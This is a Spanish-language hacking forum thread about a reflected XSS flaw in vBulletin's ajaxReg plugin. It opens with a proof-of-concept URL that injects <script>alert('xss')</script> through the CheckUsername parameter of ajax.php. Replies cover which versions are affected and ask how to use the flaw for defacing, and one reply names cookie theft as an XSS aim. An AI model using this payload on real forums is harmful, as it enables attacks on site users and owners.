Test Foro de elhacker.net SMF 2.1

"se requiere ajaxReg para explotar la vulnerabilidad"


El error esta en ajaxReg (http://www.vbulletin.org/forum/showthread.php?t=144869) sirve para comprobar los datos cuando se esta escribiendo ..

POC:
http://[website]/[forumpath]/ajax.php?do=CheckUsername&param=XSS

http://www.site.com/foro/ajax.php?do=CheckUsername&param=<script>alert('xss');</script>

http://www.foro-cualquiera.com/ajax.php?do=CheckUsername&param=<script>alert('xss');</script>




publicado en: http://mentespiritual.com/xss.txt

Y el resto como en el xss de foroswebgratis?
Que otras versiones se joden?

Me sale esto:
Forbidden
You don't have permission to access /foro/ajax.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache/1.3.41 Server at www.foro.com Port 80

Se puede hacer algo? 

bueno parece que te tiro un error 404 no debe existir o tener el ajaxReg puede ser eso.no todos lo tienen.y por lo de foroswebgratis lo hice con la intenciòn de mostrar como se podria explotar la vulnerabilidad en realidad no se si funciona en foroswebgratis nunca lo probe.

saludos!

si queres buscar xss aca un buen paper http://milw0rm.com/papers/192

No, es del htaccess, pero eso es lo de menos, parece que el ajaxReg que usa el 3.6.8 no es vulnerable a xss, existe alguna para el 3.6.8?

Soy _xtr3m3_, pero cambié el mail a uno incorrecto y no puedo reactvar la otra cuenta y mejor hice esta  a ver si un admin puede hacer algo.

Gracias por el paper, es muy bueno.
saludos

Gracias por la info.
Yo anteriormente la vulnerabilidad XSS me pensaba que no era importante pero si la sabes usar le puedes sacar mucho partido.

Por cierto, no creo que sea conveniente exponer información de terceros, es decir, poner una web como ejemplo del bug, lo digo por la web esa de micro-games.com.ar pero bueno no creo que alguien vaya a ir haciendo pruebas en esa ¬¬

ale,
salu2 !

Amigo, el bug funciona hasta en la ultima version 3.7.2


Ahora, que hago con xss?
Se puede hacer defacing?
como?

Cita de: Aclausus en 16 Julio 2008, 08:55 AM
Amigo, el bug funciona hasta en la ultima version 3.7.2


Ahora, que hago con xss?
Se puede hacer defacing?
como?

si todo fuera asi de facil xD
yo no se como , pero lo mejor es informarte sobre XSS
y ver que podes hacer
saludos

Hay 3 clases de XSS , no me se los nombres oficiales pero algo asi:
•El tipo-0, que se utiliza para ejecutar código remotamente con los
permisos de otro usuario.(Robo de cookies etc)
• El tipo-1, ataque no-persistente o reflejado utilizado en páginas no estáticas.
• Y el tipo-2, ataque persistente, donde se inyecta código en
páginas estáticas.